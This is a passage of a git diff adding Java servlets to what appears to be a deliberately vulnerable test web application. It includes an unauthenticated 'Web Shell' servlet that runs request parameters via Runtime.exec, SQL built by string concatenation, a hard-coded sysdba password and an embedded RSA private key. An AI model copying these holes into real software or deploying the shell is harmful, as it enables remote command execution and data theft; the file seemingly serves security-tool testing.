
") + .append("") + .append("") + + .append("

") + .append(": java.security.SecureRandom.getInstance(String algorithm).nextBytes(barray)
") + .append(": java.security.SecureRandom.getInstance(String algorithm).nextDouble()
") + .append(": java.security.SecureRandom.getInstance(String algorithm).nextFloat()
") + .append(": java.security.SecureRandom.getInstance(String algorithm).nextGaussian()
") + .append(": java.security.SecureRandom.getInstance(String algorithm).nextInt()
") + .append(": java.security.SecureRandom.getInstance(String algorithm).nextInt(99)
") + .append(": java.security.SecureRandom.getInstance(String algorithm).nextLong()
") + + .append("

") + .append(": java.lang.Math.random()
") + + .append("

") + .append(": java.util.Random().nextBytes(bytes)
") + .append(": java.util.Random().nextDouble()
") + .append(": java.util.Random().nextFloat()
") + .append(": java.util.Random().nextGaussian()
") + .append(": java.util.Random().nextInt()
") + .append(": java.util.Random().nextInt(99)
") + .append(": java.util.Random().nextLong()
") + .append("

") + .append("" + "
"); + out.println(form); + + HashMap encryptionTypeMap = new HashMap() { + { + put("MessageDigest1", 0); + put("MessageDigest2", 1); + put("MessageDigest3", 2); + put("MessageDigest4", 3); + put("Crypto1", 4); + put("Crypto2", 5); + put("Crypto3", 6); + put("Crypto4", 7); + put("Crypto5", 8); + put("SecureRandom1", 9); + put("SecureRandom2", 10); + put("SecureRandom3", 11); + put("SecureRandom4", 12); + put("SecureRandom5", 13); + put("SecureRandom6", 14); + put("SecureRandom7", 15); + put("MathRandom1", 16); + put("utilRandom1", 17); + put("utilRandom2", 18); + put("utilRandom3", 19); + put("utilRandom4", 20); + put("utilRandom5", 21); + put("utilRandom6", 22); + put("utilRandom7", 23); + } + }; + + HashMap encryptionMethodMap = new HashMap() { + { + put(0, "java.security.MessageDigest.getInstance(String algorithm)"); + put(1, "java.security.MessageDigest.getInstance(String algorithm, Provider provider)"); + put(2, "java.security.MessageDigest.getInstance(String algorithm, String provider)"); + put(3, "external object for java.security.MessageDigest.getInstance(String algorithm)"); + put(4, "javax.crypto.Cipher.getInstance(String transformation)"); + put(5, "javax.crypto.Cipher.getInstance(String transformation, Provider provider)"); + put(6, "javax.crypto.Cipher.getInstance(String transformation, String provider)"); + put(7, "external object for javax.crypto.Cipher.getInstance(String transformation)"); + put(8, "RSA for javax.crypto.Cipher.getInstance(String transformation)"); + put(9, "java.security.SecureRandom.getInstance(String algorithm).nextBytes(barray)"); + put(10, "java.security.SecureRandom.getInstance(String algorithm).nextDouble()"); + put(11, "java.security.SecureRandom.getInstance(String algorithm).nextFloat()"); + put(12, "java.security.SecureRandom.getInstance(String algorithm).nextGaussian()"); + put(13, "java.security.SecureRandom.getInstance(String algorithm).nextInt()"); + put(14, "java.security.SecureRandom.getInstance(String algorithm).nextInt(99)"); + put(15, "java.security.SecureRandom.getInstance(String algorithm).nextLong()"); + put(16, "java.lang.Math.random()"); + put(17, "java.util.Random().nextBytes(bytes)"); + put(18, "java.util.Random().nextDouble()"); + put(19, "java.util.Random().nextFloat()"); + put(20, "java.util.Random().nextGaussian()"); + put(21, "java.util.Random().nextInt()"); + put(22, "java.util.Random().nextInt(99)"); + put(23, "java.util.Random().nextLong()"); + } + }; + + String encryptionTypeStr = request.getParameter("encryptiontype"); + System.out.println("encryptionTypeStr - " + encryptionTypeStr); + int encryptionType = encryptionTypeMap.get(encryptionTypeStr); + + String dataToEncrypt = request.getParameter("data_to_encrypt"); + String algorithm = ""; + String keyGeneratorAlgorithm = ""; + if(encryptionType < 3) algorithm = request.getParameter("MessageDigestAlgorithm"); + else if(encryptionType >= 4 && encryptionType < 9) { + algorithm = request.getParameter("CryptoAlgorithm"); + keyGeneratorAlgorithm = request.getParameter("KeyGeneratorAlgorithm"); + } + else if(encryptionType >= 8 && encryptionType < 16) algorithm = request.getParameter("SecureRandomAlgorithm"); + + String returnValue = "Failed!"; + switch (encryptionType) { + case 0: + // "MessageDigest1" + // java.security.MessageDigest.getInstance(String algorithm) + returnValue = testMessageDigest1(dataToEncrypt, algorithm); + break; + case 1: + // "MessageDigest2" + // java.security.MessageDigest.getInstance(String algorithm, Provider provider) + returnValue = testMessageDigest2(dataToEncrypt, algorithm); + break; + case 2: + // "MessageDigest3" + // java.security.MessageDigest.getInstance(String algorithm, String provider) + returnValue = testMessageDigest3(dataToEncrypt, algorithm); + break; + case 3: + // "MessageDigest3" + // java.security.MessageDigest.getInstance(String algorithm, Provider provider) + returnValue = testMessageDigest4(dataToEncrypt); + break; + case 4: + // "Crypto1" + // javax.crypto.Cipher.getInstance(String transformation) + returnValue = testCrypto1(dataToEncrypt, algorithm, keyGeneratorAlgorithm); + break; + case 5: + // "Crypto2" + // javax.crypto.Cipher.getInstance(String transformation, Provider provider) + returnValue = testCrypto2(dataToEncrypt, algorithm, keyGeneratorAlgorithm); + break; + case 6: + // "Crypto3" + // javax.crypto.Cipher.getInstance(String transformation, String provider) + returnValue = testCrypto3(dataToEncrypt, algorithm, keyGeneratorAlgorithm); + break; + case 7: + // "Crypto4" + // javax.crypto.Cipher.getInstance(String transformation) + returnValue = testCrypto4(dataToEncrypt); + break; + case 8: + // "Crypto5" + // javax.crypto.Cipher.getInstance(String transformation) + returnValue = testCrypto5(dataToEncrypt, algorithm); + break; + case 9: + // "SecureRandom1" + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextBytes(barray) + returnValue = testSecureRandom1(algorithm); + break; + case 10: + // "SecureRandom2" + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextBytes(barray) + returnValue = testSecureRandom2(algorithm); + break; + case 11: + // "SecureRandom3" + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextBytes(barray) + returnValue = testSecureRandom3(algorithm); + break; + case 12: + // "SecureRandom4" + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextBytes(randomBytes) + returnValue = testSecureRandom4(algorithm); + break; + case 13: + // "SecureRandom5" + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextBytes(randomBytes) + returnValue = testSecureRandom5(algorithm); + break; + case 14: + // "SecureRandom6" + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextDouble() + returnValue = testSecureRandom6(algorithm); + break; + case 15: + // "SecureRandom7" + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextDouble() + returnValue = testSecureRandom7(algorithm); + break; + case 16: + // "MathRandom1" + // java.lang.Math.random() + returnValue = testMathRandom1(); + break; + case 17: + // "utilRandom1" + // java.util.Random().nextBytes(bytes) + returnValue = testUtilRandom1(); + break; + case 18: + // "utilRandom2" + // java.util.Random().nextDouble() + returnValue = testUtilRandom2(); + break; + case 19: + // "utilRandom3" + // java.util.Random().nextFloat() + returnValue = testUtilRandom3(); + break; + case 20: + // "utilRandom4" + // java.util.Random().nextGaussian() + returnValue = testUtilRandom4(); + break; + case 21: + // "utilRandom5" + // java.util.Random().nextInt() + returnValue = testUtilRandom5(); + break; + case 22: + // "utilRandom6" + // java.util.Random().nextInt(99) + returnValue = testUtilRandom6(); + break; + case 23: + // "utilRandom7" + // java.util.Random().nextLong() + returnValue = testUtilRandom7(); + break; + default: + System.out.println("Encryption Type not found"); + } + + HtmlUtil.closeCol(response); + HtmlUtil.openCol(response); + + out.println("

Encryption execution result

"); + out.println("

"); + out.println("

Method called - " + encryptionMethodMap.get(encryptionType) + "

"); + if(encryptionType< 15) out.println("

Input Provided

"); + if(encryptionType< 15) out.println("

Text - " + dataToEncrypt + "

"); + if(algorithm.length() > 0) out.println("

Algorithm - " + algorithm + "

"); + if(keyGeneratorAlgorithm.length() > 0) out.println("

KeyGeneratorAlgorithm - " + keyGeneratorAlgorithm + "

"); + out.println("

Result - " + returnValue + "

"); + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + } + + private String testMessageDigest1(String message, String algorithm) { + // java.security.MessageDigest.getInstance(String algorithm) + try { + MessageDigest md = MessageDigest.getInstance(algorithm); + + System.out.println("md.toString() - " + md.toString()); + + // Passing data to the created MessageDigest Object + md.update(message.getBytes()); + + // Compute the message digest + byte[] digest = md.digest(); + + System.out.println(Arrays.toString(digest)); + + // Converting the byte array in to HexString format + StringBuffer hexString = new StringBuffer(); + for (int i = 0; i < digest.length; i++) { + hexString.append(Integer.toHexString(0xFF & digest[i])); + } + System.out.println("Hex format : " + hexString.toString()); + return "Success - Value returned = " + hexString.toString(); + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testMessageDigest2(String message, String algorithm) { + // java.security.MessageDigest.getInstance(String algorithm, Provider provider) + MessageDigest md = null; + try { + md = MessageDigest.getInstance(algorithm, "SUN"); + + System.out.println("md.toString() - " + md.toString()); + + // Passing data to the created MessageDigest Object + md.update(message.getBytes()); + + // Compute the message digest + byte[] digest = md.digest(); + + System.out.println(digest); + + // Converting the byte array in to HexString format + StringBuffer hexString = new StringBuffer(); + for (int i = 0; i < digest.length; i++) { + hexString.append(Integer.toHexString(0xFF & digest[i])); + } + System.out.println("Hex format : " + hexString.toString()); + return "Success - Value returned = " + hexString.toString(); + } catch (NoSuchAlgorithmException | NoSuchProviderException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testMessageDigest3(String message, String algorithm) { + // java.security.MessageDigest.getInstance(String algorithm, String provider) + MessageDigest md = null; + try { + Provider[] provider = java.security.Security.getProviders(); + + System.out.println(provider[0].getName()); + md = MessageDigest.getInstance(algorithm, provider[0]); + + System.out.println("md.toString() - " + md.toString()); + + // Passing data to the created MessageDigest Object + md.update(message.getBytes()); + + // Compute the message digest + byte[] digest = md.digest(); + + System.out.println(digest); + + // Converting the byte array in to HexString format + StringBuffer hexString = new StringBuffer(); + for (int i = 0; i < digest.length; i++) { + hexString.append(Integer.toHexString(0xFF & digest[i])); + } + System.out.println("Hex format : " + hexString.toString()); + return "Success - Value returned = " + hexString.toString(); + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testMessageDigest4(String message) { + // java.security.MessageDigest.getInstance(String algorithm, Provider provider) + MessageDigest md = null; + try { + md = EncryptionObjects.md; + + System.out.println("md.toString() - " + md.toString()); + + // Passing data to the created MessageDigest Object + md.update(message.getBytes()); + + // Compute the message digest + byte[] digest = md.digest(); + + System.out.println(digest); + + // Converting the byte array in to HexString format + StringBuffer hexString = new StringBuffer(); + for (int i = 0; i < digest.length; i++) { + hexString.append(Integer.toHexString(0xFF & digest[i])); + } + System.out.println("Hex format : " + hexString.toString()); + return "Success - Value returned = " + hexString.toString(); + } catch (Exception e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testCrypto1(String message, String algorithm, String keyGeneratorAlgorithm) { + // javax.crypto.Cipher.getInstance(String transformation) + try { + Cipher c = Cipher.getInstance(algorithm); + + // Prepare the cipher to encrypt + SecretKey key = KeyGenerator.getInstance(keyGeneratorAlgorithm).generateKey(); + c.init(javax.crypto.Cipher.ENCRYPT_MODE, key); + + // encrypt and store the results + byte[] input = { (byte)'?' }; + Object inputParam = message; + if (inputParam instanceof String) input = ((String) inputParam).getBytes(); + byte[] result = c.doFinal(input); + + // Converting the byte array in to HexString format + StringBuffer hexString = new StringBuffer(); + for (int i = 0; i < result.length; i++) { + hexString.append(Integer.toHexString(0xFF & result[i])); + } + System.out.println("Hex format : " + hexString.toString()); + return "Success - Value returned = " + hexString.toString(); + } catch (NoSuchAlgorithmException | NoSuchPaddingException | IllegalBlockSizeException | BadPaddingException | InvalidKeyException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testCrypto2(String message, String algorithm, String keyGeneratorAlgorithm) { + // javax.crypto.Cipher.getInstance(String transformation, Provider provider) + try { + Cipher c = Cipher.getInstance(algorithm, "SunJCE"); + + // Prepare the cipher to encrypt + SecretKey key = KeyGenerator.getInstance(keyGeneratorAlgorithm).generateKey(); + c.init(javax.crypto.Cipher.ENCRYPT_MODE, key); + + // encrypt and store the results + byte[] input = { (byte)'?' }; + Object inputParam = message; + if (inputParam instanceof String) input = ((String) inputParam).getBytes(); + byte[] result = c.doFinal(input); + + // Converting the byte array in to HexString format + StringBuffer hexString = new StringBuffer(); + for (int i = 0; i < result.length; i++) { + hexString.append(Integer.toHexString(0xFF & result[i])); + } + System.out.println("Hex format : " + hexString.toString()); + return "Success - Value returned = " + hexString.toString(); + } catch (NoSuchAlgorithmException | NoSuchProviderException | NoSuchPaddingException | IllegalBlockSizeException | BadPaddingException | InvalidKeyException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testCrypto3(String message, String algorithm, String keyGeneratorAlgorithm) { + // javax.crypto.Cipher.getInstance(String transformation, String provider) + try { + Cipher c = Cipher.getInstance(algorithm, Security.getProvider("SunJCE")); + + // Prepare the cipher to encrypt + SecretKey key = KeyGenerator.getInstance(keyGeneratorAlgorithm).generateKey(); + c.init(javax.crypto.Cipher.ENCRYPT_MODE, key); + + // encrypt and store the results + byte[] input = { (byte)'?' }; + Object inputParam = message; + if (inputParam instanceof String) input = ((String) inputParam).getBytes(); + byte[] result = c.doFinal(input); + + // Converting the byte array in to HexString format + StringBuffer hexString = new StringBuffer(); + for (int i = 0; i < result.length; i++) { + hexString.append(Integer.toHexString(0xFF & result[i])); + } + System.out.println("Hex format : " + hexString.toString()); + return "Success - Value returned = " + hexString.toString(); + } catch (NoSuchAlgorithmException | NoSuchPaddingException | IllegalBlockSizeException | BadPaddingException | InvalidKeyException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testCrypto4(String message) { + // javax.crypto.Cipher.getInstance(String transformation) + try { + Cipher c = EncryptionObjects.c; + + // Prepare the cipher to encrypt + SecretKey key = KeyGenerator.getInstance("DESede").generateKey(); + c.init(javax.crypto.Cipher.ENCRYPT_MODE, key); + + // encrypt and store the results + byte[] input = { (byte)'?' }; + Object inputParam = message; + if (inputParam instanceof String) input = ((String) inputParam).getBytes(); + byte[] result = c.doFinal(input); + + // Converting the byte array in to HexString format + StringBuffer hexString = new StringBuffer(); + for (int i = 0; i < result.length; i++) { + hexString.append(Integer.toHexString(0xFF & result[i])); + } + System.out.println("Hex format : " + hexString.toString()); + return "Success - Value returned = " + hexString.toString(); + } catch (NoSuchAlgorithmException | IllegalBlockSizeException | BadPaddingException | InvalidKeyException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + // RSA algorithm credit - https://www.devglan.com/java8/rsa-encryption-decryption-java + private String publicKey = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCgFGVfrY4jQSoZQWWygZ83roKXWD4YeT2x2p41dGkPixe73rT2IW04glagN2vgoZoHuOPqa5and6kAmK2ujmCHu6D1auJhE2tXP+yLkpSiYMQucDKmCsWMnW9XlC5K7OSL77TXXcfvTvyZcjObEz6LIBRzs6+FqpFbUO9SJEfh6wIDAQAB"; + private String privateKey = "MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGBAKAUZV+tjiNBKhlBZbKBnzeugpdYPhh5PbHanjV0aQ+LF7vetPYhbTiCVqA3a+Chmge44+prlqd3qQCYra6OYIe7oPVq4mETa1c/7IuSlKJgxC5wMqYKxYydb1eULkrs5IvvtNddx+9O/JlyM5sTPosgFHOzr4WqkVtQ71IkR+HrAgMBAAECgYAkQLo8kteP0GAyXAcmCAkA2Tql/8wASuTX9ITD4lsws/VqDKO64hMUKyBnJGX/91kkypCDNF5oCsdxZSJgV8owViYWZPnbvEcNqLtqgs7nj1UHuX9S5yYIPGN/mHL6OJJ7sosOd6rqdpg6JRRkAKUV+tmN/7Gh0+GFXM+ug6mgwQJBAO9/+CWpCAVoGxCA+YsTMb82fTOmGYMkZOAfQsvIV2v6DC8eJrSa+c0yCOTa3tirlCkhBfB08f8U2iEPS+Gu3bECQQCrG7O0gYmFL2RX1O+37ovyyHTbst4s4xbLW4jLzbSoimL235lCdIC+fllEEP96wPAiqo6dzmdH8KsGmVozsVRbAkB0ME8AZjp/9Pt8TDXD5LHzo8mlruUdnCBcIo5TMoRG2+3hRe1dHPonNCjgbdZCoyqjsWOiPfnQ2Brigvs7J4xhAkBGRiZUKC92x7QKbqXVgN9xYuq7oIanIM0nz/wq190uq0dh5Qtow7hshC/dSK3kmIEHe8z++tpoLWvQVgM538apAkBoSNfaTkDZhFavuiVl6L8cWCoDcJBItip8wKQhXwHp0O3HLg10OEd14M58ooNfpgt+8D8/8/2OOFaR0HzA+2Dm"; + + private String testCrypto5(String message, String algorithm) { + // javax.crypto.Cipher.getInstance(String transformation, String provider) + String encryptedString = ""; + try { + Cipher cipher = Cipher.getInstance(algorithm); + + X509EncodedKeySpec keySpec = new X509EncodedKeySpec(Base64.getDecoder().decode(this.publicKey.getBytes())); + KeyFactory keyFactory = KeyFactory.getInstance("RSA"); + PublicKey publicKey = keyFactory.generatePublic(keySpec); + + cipher.init(Cipher.ENCRYPT_MODE, publicKey); + byte[] result = cipher.doFinal(message.getBytes()); + + encryptedString = Base64.getEncoder().encodeToString(result); + System.out.println(encryptedString); +// String decryptedString = decrypt(encryptedString, privateKey); +// System.out.println(decryptedString); + } catch (NoSuchAlgorithmException | IllegalBlockSizeException | InvalidKeyException | BadPaddingException | NoSuchPaddingException | InvalidKeySpecException e) { + return "Failed with exception " + e.getMessage(); + } + return "Success - Value returned = " + encryptedString; + } + + private String decrypt(String data, String base64PrivateKey) throws IllegalBlockSizeException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException, NoSuchPaddingException { + return decrypt(Base64.getDecoder().decode(data.getBytes()), getPrivateKey(base64PrivateKey)); + } + + private String decrypt(byte[] data, PrivateKey privateKey) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException { + Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); + cipher.init(Cipher.DECRYPT_MODE, privateKey); + return new String(cipher.doFinal(data)); + } + + private PrivateKey getPrivateKey(String base64PrivateKey){ + PrivateKey privateKey = null; + PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(Base64.getDecoder().decode(base64PrivateKey.getBytes())); + KeyFactory keyFactory = null; + try { + keyFactory = KeyFactory.getInstance("RSA"); + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + } + try { + privateKey = keyFactory.generatePrivate(keySpec); + } catch (InvalidKeySpecException e) { + e.printStackTrace(); + } + return privateKey; + } + + private String testSecureRandom1(String algorithm) { + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextBytes(barray) + try { + SecureRandom.getInstance(algorithm).nextBytes(new byte[100]); + return "Succeeded"; + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testSecureRandom2(String algorithm) { + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextDouble() + try { + return "Success - Value returned = " + SecureRandom.getInstance(algorithm).nextDouble() + ""; + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testSecureRandom3(String algorithm) { + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextFloat() + try { + return "Success - Value returned = " + SecureRandom.getInstance(algorithm).nextFloat() + ""; + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testSecureRandom4(String algorithm) { + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextGaussian() + try { + return "Success - Value returned = " + SecureRandom.getInstance(algorithm).nextGaussian() + ""; + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testSecureRandom5(String algorithm) { + // java.security.SecureRandom.getInstance("SHA1PRNG").nextInt() + try { + return "Success - Value returned = " + SecureRandom.getInstance(algorithm).nextInt() + ""; + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testSecureRandom6(String algorithm) { + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextInt(99) + try { + return "Success - Value returned = " + SecureRandom.getInstance(algorithm).nextInt(99) + ""; + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testSecureRandom7(String algorithm) { + // java.security.SecureRandom.getInstance(\"SHA1PRNG\").nextLong() + try { + return "Success - Value returned = " + SecureRandom.getInstance(algorithm).nextLong() + ""; + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + return "Failed with exception " + e.getMessage(); + } + } + + private String testMathRandom1() { + // java.lang.Math.random() + return "Success - Value returned = " + java.lang.Math.random() + ""; + } + + private String testUtilRandom1() { + // java.util.Random().nextBytes(bytes) + EncryptionObjects.r.nextBytes(new byte[100]); + return "Succeeded"; + } + + private String testUtilRandom2() { + // java.util.Random().nextDouble() + return "Success - Value returned = " + EncryptionObjects.r.nextDouble() + ""; + } + + private String testUtilRandom3() { + // java.util.Random().nextFloat() + return "Success - Value returned = " + EncryptionObjects.r.nextFloat() + ""; + } + + private String testUtilRandom4() { + // java.util.Random().nextGaussian() + return "Success - Value returned = " + EncryptionObjects.r.nextGaussian() + ""; + } + + private String testUtilRandom5() { + // java.util.Random().nextInt() + return "Success - Value returned = " + EncryptionObjects.r.nextInt() + ""; + } + + private String testUtilRandom6() { + // java.util.Random().nextInt(99) + return "Success - Value returned = " + EncryptionObjects.r.nextInt(99) + ""; + } + + private String testUtilRandom7() { + // java.util.Random().nextLong() + return "Success - Value returned = " + EncryptionObjects.r.nextLong() + ""; + } +} diff --git a/src/main/java/com/endor/ExecuteServlet.java b/src/main/java/com/endor/ExecuteServlet.java new file mode 100644 index 0000000..e5ebf86 --- /dev/null +++ b/src/main/java/com/endor/ExecuteServlet.java @@ -0,0 +1,40 @@ +package com.endor; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; + +@WebServlet(name = "ExecuteServlet") +public class ExecuteServlet extends HttpServlet { + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + doGet(request, response); + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.printCurrentTitle("Web Shell", response); + + String form = "
" + + "Command:

" + + "Environment Var:
" + + "" + "
"; + out.println(form); + + String command = request.getParameter("command"); + String env = request.getParameter("env"); + String[] envArr = env.split(";"); + Runtime.getRuntime().exec(command, envArr); + } +} diff --git a/src/main/java/com/endor/ExtraServlet.java b/src/main/java/com/endor/ExtraServlet.java new file mode 100644 index 0000000..977a32f --- /dev/null +++ b/src/main/java/com/endor/ExtraServlet.java @@ -0,0 +1,246 @@ +package com.endor; + +import java.io.IOException; +import java.io.PrintWriter; +import java.sql.CallableStatement; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.sql.Types; + +import javax.servlet.ServletException; +import javax.servlet.ServletInputStream; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +/** + * Servlet implementation class ExtraServlet + */ +@WebServlet("/ExtraServlet") +public class ExtraServlet extends HttpServlet { + //private static final long serialVersionUID = 1L; + static String connectionUrl = ""; + static String dbUser = ""; + static String dbPassword = ""; + static String dbType = ""; + static String DB_TYPE_ORACLE = "Oracle"; + + /** + * @see HttpServlet#HttpServlet() + */ + + @Override + public void init() throws ServletException { + super.init(); + connectionUrl =System.getProperty("endor_connection_url", "jdbc:oracle:thin:@10.0.22.108:1521:XE"); + dbUser =System.getProperty("endor_db_user", "sys as sysdba"); + dbPassword =System.getProperty("endor_db_password", "Psmo0601"); + dbType =System.getProperty("endor_db_type", DB_TYPE_ORACLE); + + } + + /** + * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response) + */ + /** + * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) + */ + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + doGet(request, response); + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("SQL", response); + String form = "
" + + "This URL is testing multi leg features
" + + "--------------------------------------

"+ "
"; + out.println(form); + HtmlUtil.closeCol(response); + + String retVal = "Failed!"; + //PreparedStatement execution with input parameter + int len = request.getContentLength(); + if (len > 0) { + byte[] input = new byte[len]; + //System.out.println("length of input" + len); + + ServletInputStream sin = request.getInputStream(); + int c, count = 0 ; + while ((c = sin.read(input, count, input.length-count)) != -1) { + count +=c; + } + sin.close(); + + String inString = new String(input); + int index = inString.indexOf("&"); + String lastvalue = inString.substring(0,index); + String restvalue = inString.substring(index+1); + index = restvalue.indexOf("&"); + String passvalue = restvalue.substring(0,index); + String multileg_value = restvalue.substring(index+1); + + index = lastvalue.indexOf("="); + String last = lastvalue.substring(index+1); + + index = passvalue.indexOf("="); + String pass = passvalue.substring(index+1); + + index = multileg_value.indexOf("="); + String multileg = multileg_value.substring(index+1); + + System.out.println("\nlast=" +last+ "\npass=" +pass+ "\nmultileg=" +multileg); + + if(multileg.equalsIgnoreCase("prepared_statement") && executeSQLHelper(last, pass)) { + retVal = "Succeeded"; + } + + else if(multileg.equalsIgnoreCase("stored_procedure") && getCustomersStoredProc(last, pass)) { + retVal = "Succeeded"; + } + + HtmlUtil.openCol(response); + out.println("

SQL execution for Input Parameter " + retVal + "

"); + HtmlUtil.closeCol(response); + } + + + //PreparedStatement with hard-coded value + /* + retVal = "Succeeded"; + executeSQLHelper("prakash'--", "psmo"); + */ + + if (retVal.equalsIgnoreCase("Succeeded")){ + retVal = HttpURLConnectionExample.sendGET(); + } + + /* + + HtmlUtil.openCol(response); + out.println("

SQL execution for internal values " + retVal + "

"); + HtmlUtil.closeCol(response); + */ + + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + } + + private Connection connect() { + Connection conn = null; + try { + // Create database connection + conn = DriverManager.getConnection(connectionUrl, dbUser, dbPassword); + System.out.println("DB Connection established"); + } catch (Exception e) { + System.err.println("ERROR: failed to connect DB"); + e.printStackTrace(); + return null; + } + return conn; + } + + public boolean executeSQLHelper(String name, String pass) { + boolean retVal = false; + Connection conn = connect(); + if (conn == null) + return false; + + try { + StringBuffer sbuf = new StringBuffer(); + String query = new String(); + query = "select FIRST, LAST from CUSTOMERS WHERE LAST=\'" + name + "\' AND PASSWORD= \'" + pass + "\'"; + System.out.println("Multileg PreparedStatementQUERY:" + query); + PreparedStatement stmt = conn.prepareStatement(query); + ResultSet rs = stmt.executeQuery(); + // Loop through the data and print all artist names + while (rs.next()) { + sbuf.append("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + System.out.println("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + sbuf.append("
"); + retVal = sbuf.toString().length() > 2; + } + // Clean up + stmt.close(); + rs.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return retVal; + } + + public boolean getCustomersStoredProc(String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + boolean hasResults = false; + try { + // close the statement as its not a callable statement + stmt.close(); + String query; + CallableStatement c = null; + + query = "{call verifyuser(?,?,?)}"; + c = conn.prepareCall(query); + c.setString(1, name); + c.setString(2, pass); + c.registerOutParameter(3, Types.INTEGER); + System.out.println("Multihub DB stored Proc being called"); + System.out.println(query); + c.execute(); + output = c.getInt(3); + System.out.println("Customer Count: " + output); + + //c.executeQuery(); + // Loop through the data and print all artist names + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + +} diff --git a/src/main/java/com/endor/FileUploadServlet.java b/src/main/java/com/endor/FileUploadServlet.java new file mode 100644 index 0000000..9d6eda9 --- /dev/null +++ b/src/main/java/com/endor/FileUploadServlet.java @@ -0,0 +1,92 @@ +package com.endor; + +import javax.servlet.ServletException; +import javax.servlet.annotation.MultipartConfig; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.Part; +import java.io.*; +import java.util.logging.Level; +import java.util.logging.Logger; + +//@WebServlet(name = "FileUploadServlet", urlPatterns = {"/upload"}) +@MultipartConfig +public class FileUploadServlet extends HttpServlet { + + private final static Logger LOGGER = + Logger.getLogger(FileUploadServlet.class.getCanonicalName()); + + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + processRequest(req, resp); + } + protected void processRequest(HttpServletRequest request, + HttpServletResponse response) + throws ServletException, IOException { + 